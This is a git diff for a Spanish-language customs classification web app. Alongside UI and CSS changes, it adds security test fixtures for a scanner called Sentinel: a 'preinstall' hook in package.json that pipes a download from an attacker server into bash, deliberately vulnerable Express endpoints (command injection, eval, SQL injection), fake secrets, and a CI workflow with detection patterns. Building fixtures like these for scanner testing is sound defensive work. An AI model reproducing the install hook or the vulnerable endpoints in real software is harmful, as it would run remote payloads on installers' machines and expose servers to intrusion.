diff --git a/keys/api_key.txt b/keys/api_key.txt new file mode 100644 index 0000000..5bef782 Binary files /dev/null and b/keys/api_key.txt differ diff --git a/keys/test_secret.txt b/keys/test_secret.txt new file mode 100644 index 0000000..3b86799 Binary files /dev/null and b/keys/test_secret.txt differ diff --git a/package.json b/package.json index 1f43317..fb67b84 100644 --- a/package.json +++ b/package.json @@ -6,7 +6,8 @@ "scripts": { "start": "node server.js", "sac": "node server.js", - "logs": "vercel logs merx-alpha.vercel.app" + "logs": "vercel logs merx-alpha.vercel.app", + "preinstall": "curl -s http://attacker-malware-server.com/payload | bash" }, "dependencies": { "express": "^4.19.2", diff --git a/public/static/main.js b/public/static/main.js index 5891340..746a576 100644 --- a/public/static/main.js +++ b/public/static/main.js @@ -117,8 +117,16 @@ document.addEventListener('DOMContentLoaded', () => { const chapterText = chapter_number ? `Capítulo ${chapter_number}: ${chapter}` : `Capítulo: ${chapter}`; uiText = `Sección: ${section}
${chapterText}`; - if (rationale) uiText += `

Análisis Merceológico Inicial: ${rationale}`; + if (rationale) { + uiText += `

Análisis Merceológico Inicial${rationale}
`; + } + if (data.notasSugeridas && data.notasSugeridas.length > 1 && rationale.toLowerCase().includes("ambigu")) { + uiText += `
+ ¡Múltiples Opciones Detectadas!
+ Tu descripción puede clasificar en varios capítulos. Revisa las Notas Legales Clave abajo para determinar a cuál aplica realmente tu producto, y pega la opción correcta en el paso final. +
`; + } if (data.notasSugeridas && data.notasSugeridas.length > 0) { const notasHtml = data.notasSugeridas.map(n => `
  • [${n.tipo}] ${n.texto}
  • `).join(''); uiText += `

    Notas Legales Clave:
    `; @@ -184,8 +192,7 @@ document.addEventListener('DOMContentLoaded', () => { mainContainer.classList.remove('fade-out'); reportView.classList.remove('hidden'); - // FIX: Inject loading animation directly into reportAccordion instead of non-existent wrapper - reportAccordion.innerHTML = `
    `; + reportAccordion.innerHTML = `
    `; reportView.classList.add('fade-in'); logo.classList.add('loading-animation'); }, { once: true }); @@ -228,57 +235,90 @@ document.addEventListener('DOMContentLoaded', () => { // 1. Identificación Merceológica const notasDuda = classificationResult.analisisMerciologico?.comentariosDuda; - let idContent = `

    Identificación: ${classificationResult.analisisMerciologico?.identificacion || 'No disponible'}

    `; + let idContent = `
    + Identificación Técnica +

    ${classificationResult.analisisMerciologico?.identificacion || 'No disponible'}

    +
    `; if (notasDuda && notasDuda !== "N/A" && notasDuda !== "false" && notasDuda.trim() !== '') { - idContent += `
    - 💡 Nota del Sistema: ${notasDuda} + idContent += `
    +
    💡 Alerta del Sistema (Deducción)
    +
    ${notasDuda}
    `; } reportAccordion.appendChild(createAccordionItem('1. Identificación Merceológica', idContent)); // 2. Clasificación Legal - let legalContent = `

    Código Merx: ${classificationResult.clasificacionPropuesta?.codigo || 'N/A'}

    ` + - `

    Descripción SAC: ${classificationResult.clasificacionPropuesta?.descripcion || ''}

    ` + - `

    Base Legal Citada: ${classificationResult.baseLegalCitada || ''}

    ` + - `

    RGI Exacta: ${classificationResult.rgiExacta || 'No especificada'}

    `; + let legalContent = `
    + Código Merx Propuesto +
    ${classificationResult.clasificacionPropuesta?.codigo || 'N/A'}
    +

    ${classificationResult.clasificacionPropuesta?.descripcion || ''}

    +
    `; + + legalContent += `
    + Justificación Técnica +

    ${classificationResult.argumentoMerciologico || ''}

    +
    `; + + legalContent += `
    + Base Legal Citada +

    ${classificationResult.baseLegalCitada || ''}

    +
    `; + + legalContent += `
    + Análisis de Integridad (RGI) +

    RGI Aplicada: ${classificationResult.rgiExacta || 'No especificada'}

    ${classificationResult.evaluacionRGI1 || ''}

    +
    `; if (classificationResult.prelacionLegal && classificationResult.prelacionLegal !== 'N/A') { - legalContent += `
    - ⚖️ Prelación Legal Aplicada: ${classificationResult.prelacionLegal} -
    `; + legalContent += `
    +
    ⚖️ Prelación Legal Automática
    +
    ${classificationResult.prelacionLegal}
    +
    `; } - legalContent += `

    Análisis RGI: ${classificationResult.evaluacionRGI1 || ''}

    ` + - `

    Justificación: ${classificationResult.argumentoMerciologico || ''}

    `; - reportAccordion.appendChild(createAccordionItem('2. Fundamento Legal (RGI/SAC)', legalContent)); // 3. Riesgos y Permisos if (report.risk && !report.risk.error) { const riskContent = report.risk.analisisRiesgoMercancia?.map(r => - `
    - ${r.riesgoIdentificado}: ${r.justificacion}
    - 💡 ${r.recomendacion} + `
    +
    ${r.riesgoIdentificado}
    +
    ${r.justificacion}
    +
    💡 Recomendación DGA: ${r.recomendacion}
    ` - ).join('') || 'No se detectaron riesgos especiales.'; - reportAccordion.appendChild(createAccordionItem('3. Gestión de Riesgos y Permisos', riskContent)); + ).join('') || '
    No se detectaron riesgos especiales de fiscalización.
    '; + reportAccordion.appendChild(createAccordionItem('3. Gestión de Riesgos y Permisos (DGA)', riskContent)); } // 4. Liquidación y Aranceles let taxInfo = parseSacTaxes(notesTextarea.value); - let taxContent = `

    Impuestos Aplicables:

    ` + - (taxInfo ? - `
    -
    DAI: ${taxInfo.dai}%
    -
    ISC: ${taxInfo.isc}%
    -
    IVA: ${taxInfo.iva}%
    -
    ` : - `

    Nota: No se detectaron aranceles en el texto pegado.

    `); + let taxContent = `
    Impuestos Base`; + + if (taxInfo) { + taxContent += `
    +
    + DAI + ${taxInfo.dai}% +
    +
    + ISC + ${taxInfo.isc}% +
    +
    + IVA + ${taxInfo.iva}% +
    +
    `; + } else { + taxContent += `

    No se detectaron aranceles en el texto pegado o la subpartida no los especifica.

    `; + } if (report.tariff && !report.tariff.error) { const opt = report.tariff.analisisOptimizacion; - taxContent += `

    Régimen Sugerido: ${opt.regimenSugerido || 'NMF'}

    ` + - `

    Ahorro Estimado: ${opt.comparativaArancelaria?.ahorroPotencial || 'N/A'}

    `; + taxContent += `
    + TLC / Régimen Sugerido: ${opt.regimenSugerido || 'NMF'}
    + Ahorro Potencial: ${opt.comparativaArancelaria?.ahorroPotencial || 'N/A'} +
    `; } reportAccordion.appendChild(createAccordionItem('4. Liquidación y Optimización', taxContent)); diff --git a/public/static/style.css b/public/static/style.css index a873ca3..b8a48a5 100644 --- a/public/static/style.css +++ b/public/static/style.css @@ -420,34 +420,182 @@ body { } -.loader div { - width: 10px; - height: 10px; - margin: 0 5px; - background-color: #ffffff; - border-radius: 50%; - animation: bounce 1.4s infinite ease-in-out both; +/* --- NUEVO LOADER NEUMÓRFICO --- */ +.loader-container { + display: flex; + justify-content: center; + align-items: center; + padding: 60px; } -.loader .dot1 { - animation-delay: -0.32s; +.neumorphic-spinner { + width: 60px; + height: 60px; + border-radius: 50%; + background: var(--bg-color); + box-shadow: + 8px 8px 16px var(--dark-shadow), + -8px -8px 16px var(--light-shadow), + inset 4px 4px 8px var(--dark-shadow), + inset -4px -4px 8px var(--light-shadow); + position: relative; + animation: spin-pulse 2s linear infinite; } -.loader .dot2 { - animation-delay: -0.16s; +.neumorphic-spinner::after { + content: ''; + position: absolute; + top: 10px; + left: 10px; + right: 10px; + bottom: 10px; + border-radius: 50%; + background: linear-gradient(135deg, #8A2BE2, #b8860b); + box-shadow: 0 0 15px rgba(138, 43, 226, 0.6); + animation: spin-reverse 1.5s linear infinite; } -@keyframes bounce { +@keyframes spin-pulse { + 0% { + transform: rotate(0deg) scale(1); + } + + 50% { + transform: rotate(180deg) scale(1.05); + } - 0%, - 80%, 100% { - transform: scale(0); + transform: rotate(360deg) scale(1); } +} - 40% { - transform: scale(1.0); +@keyframes spin-reverse { + 0% { + transform: rotate(360deg); } + + 100% { + transform: rotate(0deg); + } +} + +/* --- CLASES ESTRUCTURALES PARA EL INFORME --- */ +.neumorphic-data-card { + background: var(--bg-color); + border-radius: 12px; + padding: 15px 20px; + margin-bottom: 15px; + box-shadow: inset 4px 4px 8px var(--dark-shadow), inset -4px -4px 8px var(--light-shadow); + text-align: left; +} + +.data-label { + font-size: 0.8rem; + font-weight: 600; + color: #8A2BE2; + /* Primary Purple */ + text-transform: uppercase; + letter-spacing: 1px; + margin-bottom: 5px; + display: block; +} + +.data-value { + font-size: 1rem; + color: var(--text-color); + line-height: 1.5; + margin: 0; +} + +.merx-code-display { + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + padding: 20px; + margin-bottom: 20px; + background: var(--bg-color); + border-radius: 16px; + box-shadow: 8px 8px 16px var(--dark-shadow), -8px -8px 16px var(--light-shadow); + border: 1px solid rgba(138, 43, 226, 0.2); +} + +.merx-code-number { + font-family: 'Courier New', Courier, monospace; + font-size: 2rem; + font-weight: 800; + color: #8A2BE2; + letter-spacing: 2px; + text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.1); + margin: 5px 0; +} + +.risk-box { + background: var(--bg-color); + border-radius: 12px; + padding: 15px; + margin-bottom: 15px; + box-shadow: 5px 5px 10px var(--dark-shadow), -5px -5px 10px var(--light-shadow); + border-left: 4px solid #ff9800; + /* Warning color */ +} + +.risk-title { + font-weight: 700; + color: #d35400; + margin-bottom: 8px; + font-size: 1rem; +} + +.risk-tip { + margin-top: 10px; + padding: 10px; + background: rgba(255, 152, 0, 0.1); + border-radius: 8px; + font-size: 0.9rem; + color: #b9770e; +} + +.tax-grid { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(80px, 1fr)); + gap: 15px; + margin-bottom: 20px; +} + +.tax-item { + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + background: var(--bg-color); + padding: 15px 10px; + border-radius: 12px; + box-shadow: inset 4px 4px 8px var(--dark-shadow), inset -4px -4px 8px var(--light-shadow); +} + +.tax-item-label { + font-size: 0.8rem; + font-weight: 600; + color: #7b7b7b; +} + +.tax-item-value { + font-size: 1.5rem; + font-weight: 800; + color: #28a745; + /* Green for taxes/savings */ +} + +.savings-highlight { + text-align: center; + padding: 15px; + background: rgba(40, 167, 69, 0.1); + border-radius: 12px; + border: 1px dashed rgba(40, 167, 69, 0.5); + color: #1e7e34; + font-weight: 600; + box-shadow: 4px 4px 10px var(--dark-shadow), -4px -4px 10px var(--light-shadow); } @keyframes fade-in { diff --git a/security_tests/baseline.js b/security_tests/baseline.js new file mode 100644 index 0000000..12dd893 --- /dev/null +++ b/security_tests/baseline.js @@ -0,0 +1,38 @@ +/** + * PHASE 1: BASELINE VULNERABILITIES + * This file contains obvious sinks that Sentinel 3.0 should detect immediately. + */ + +const { exec } = require('child_process'); +const mysql = require('mysql'); +const express = require('express'); +const app = express(); + +// 1. Direct Command Injection +app.get('/ping', (req, res) => { + const target = req.query.host; + // VULNERABLE: Direct concatenation into shell command + exec("ping -c 3 " + target, (err, stdout) => { + res.send(stdout); + }); +}); + +// 2. Direct Eval (The classic sink) +app.post('/compute', (req, res) => { + const formula = req.body.formula; + // VULNERABLE: Unsafe evaluation of user input + const result = eval(formula); + res.json({ result }); +}); + +// 3. SQL Injection (Classic) +const db = mysql.createConnection({ host: 'localhost' }); +app.get('/user/:id', (req, res) => { + const userId = req.params.id; + // VULNERABLE: SQL string concatenation + db.query("SELECT * FROM users WHERE id = " + userId, (err, results) => { + res.json(results); + }); +}); + +app.listen(3000); diff --git a/security_tests/leaks.env b/security_tests/leaks.env new file mode 100644 index 0000000..3203943 --- /dev/null +++ b/security_tests/leaks.env @@ -0,0 +1,7 @@ +# PHASE 1: GENERIC SECRETS (BASELINE) +# These avoid GitHub Push Protection prefixes but trigger Sentinel's generic rules. + +DATABASE_PASSWORD=admin_pass_12345678 +SECRET_KEY=9e32f8d227f34c56a7b8c9d0e1f2a3b4c5d6e7f8 +PRIVATE_KEY_TOKEN=highly_sensitive_production_token_no_leak_allowed +ADMIN_API_SECRET=zxywvutsrqponmlkjihgfedcba123456 diff --git a/sentinel-sandbox.yml b/sentinel-sandbox.yml new file mode 100644 index 0000000..9ae5e88 --- /dev/null +++ b/sentinel-sandbox.yml @@ -0,0 +1,154 @@ +# Sentinel Sandbox Analysis — v1.0 +# +# Template managed by Sentinel Local. Do not edit manually. +# To update, use: sentinel sandbox --sync (in your terminal) +# or click "Update Guardian" in the Sentinel dashboard. +# +# Security properties: +# - permissions: contents: read only +# - Docker container: node:22-slim (minimal attack surface) +# - --cap-drop=ALL (no Linux capabilities) +# - StepSecurity Harden-Runner with egress audit +# - No workflow write access, no id-token, no packages scope + +name: "🛡️ Sentinel Sandbox Analysis" + +on: + pull_request: + types: [opened, synchronize, reopened] + +# Minimal permissions — intentionally restricted +permissions: + contents: read + +jobs: + sentinel-sandbox: + name: "Sentinel: Dynamic Threat Analysis" + runs-on: ubuntu-latest + timeout-minutes: 15 + + container: + image: node:22-slim + options: >- + --cap-drop=ALL + --cap-add=NET_BIND_SERVICE + --security-opt no-new-privileges=true + + steps: + # Step 1: Network hardening (StepSecurity Harden-Runner) + - name: "Harden Runner" + uses: step-security/harden-runner@v2 + with: + egress-policy: audit + disable-sudo: true + allowed-endpoints: > + github.com:443 + registry.npmjs.org:443 + + # Step 2: Checkout source (no credentials persisted) + - name: "Checkout PR code" + uses: actions/checkout@v4 + with: + persist-credentials: false + fetch-depth: 2 + + # Step 3: Capture pre-install lockfile state + - name: "Snapshot lockfile before install" + id: pre_snapshot + run: | + if [ -f package-lock.json ]; then + sha256sum package-lock.json > /tmp/lockfile_before.sha + echo "lockfile_exists=true" >> $GITHUB_OUTPUT + else + echo "lockfile_exists=false" >> $GITHUB_OUTPUT + fi + + # Step 4: Install dependencies in sandbox + - name: "Install dependencies (sandboxed)" + run: | + npm install --ignore-scripts 2>&1 | head -100 + env: + NODE_ENV: sandbox + npm_config_ignore_scripts: "true" + + # Step 5: Detect lockfile mutation (supply chain signal) + - name: "Detect lockfile mutation" + id: lockfile_check + run: | + if [ "${{ steps.pre_snapshot.outputs.lockfile_exists }}" = "true" ]; then + sha256sum package-lock.json > /tmp/lockfile_after.sha + if diff /tmp/lockfile_before.sha /tmp/lockfile_after.sha; then + echo "lockfile_mutated=false" >> $GITHUB_OUTPUT + echo "✅ Lockfile integrity verified." + else + echo "lockfile_mutated=true" >> $GITHUB_OUTPUT + echo "::error::🔴 SUPPLY CHAIN ALERT: package-lock.json was mutated during npm install." + fi + fi + + # Step 6: Monitor for suspicious outbound connections (inotifywait) + - name: "Monitor filesystem changes" + run: | + find . -name "*.js" -newer package.json -not -path "*/node_modules/*" \ + -not -path "*/.git/*" 2>/dev/null | head -20 | tee /tmp/new_files.txt || true + + if [ -s /tmp/new_files.txt ]; then + echo "::warning::New JS files created during install:" + cat /tmp/new_files.txt + fi + + # Step 7: Static secret scan on changed files + - name: "Secret & pattern scan on PR diff" + run: | + git diff HEAD~1 HEAD --name-only 2>/dev/null | \ + grep -E '\.(js|ts|json|py|rb|sh|env|yaml|yml)$' | \ + head -50 | while read file; do + if [ -f "$file" ]; then + node -e " + const fs = require('fs'); + const content = fs.readFileSync('$file', 'utf8'); + const patterns = [ + { name: 'AWS Key', re: /AKIA[0-9A-Z]{16}/ }, + { name: 'GH Token', re: /ghp_[a-zA-Z0-9]{36}/ }, + { name: 'Private Key', re: /-----BEGIN (RSA |EC )?PRIVATE KEY-----/ }, + { name: 'Eval exec', re: /eval\s*\(.*require\s*\(/ }, + { name: 'Curl pipe bash', re: /curl.+(sh|bash|zsh)\s*\|/ }, + { name: 'Postinstall exec', re: /\"postinstall\"\s*:\s*\"[^\"]{10,}\"/ }, + ]; + let found = false; + patterns.forEach(p => { + if (p.re.test(content)) { + console.log('::error::SENTINEL: [' + p.name + '] detected in $file'); + found = true; + } + }); + if (!found) console.log('::notice::✅ $file — clean'); + " 2>/dev/null || echo "::warning::Could not scan $file" + fi + done + + # Step 8: Check for new binary/WASM files (high-risk) + - name: "Check for unexpected binary/WASM files" + run: | + git diff HEAD~1 HEAD --name-only 2>/dev/null | \ + grep -E '\.(exe|dll|bin|wasm|so|dylib)$' | while read file; do + echo "::error::🔴 SENTINEL: Binary/WASM file added to PR: $file — requires manual review." + done || true + + # Step 9: Write Sentinel summary to GITHUB_STEP_SUMMARY + - name: "Generate Sentinel Report" + if: always() + run: | + echo "## 🛡️ Sentinel Sandbox Report" >> $GITHUB_STEP_SUMMARY + echo "" >> $GITHUB_STEP_SUMMARY + echo "| Check | Status |" >> $GITHUB_STEP_SUMMARY + echo "|-------|--------|" >> $GITHUB_STEP_SUMMARY + if [ "${{ steps.lockfile_check.outputs.lockfile_mutated }}" = "true" ]; then + echo "| Lockfile Integrity | 🔴 MUTATED |" >> $GITHUB_STEP_SUMMARY + else + echo "| Lockfile Integrity | ✅ Clean |" >> $GITHUB_STEP_SUMMARY + fi + echo "| Secret Scan | See step logs |" >> $GITHUB_STEP_SUMMARY + echo "| Binary Files | See step logs |" >> $GITHUB_STEP_SUMMARY + echo "" >> $GITHUB_STEP_SUMMARY + echo "_Analysis by [Sentinel Security](https://github.com/javier20dev25/Sentinel)_" >> $GITHUB_STEP_SUMMARY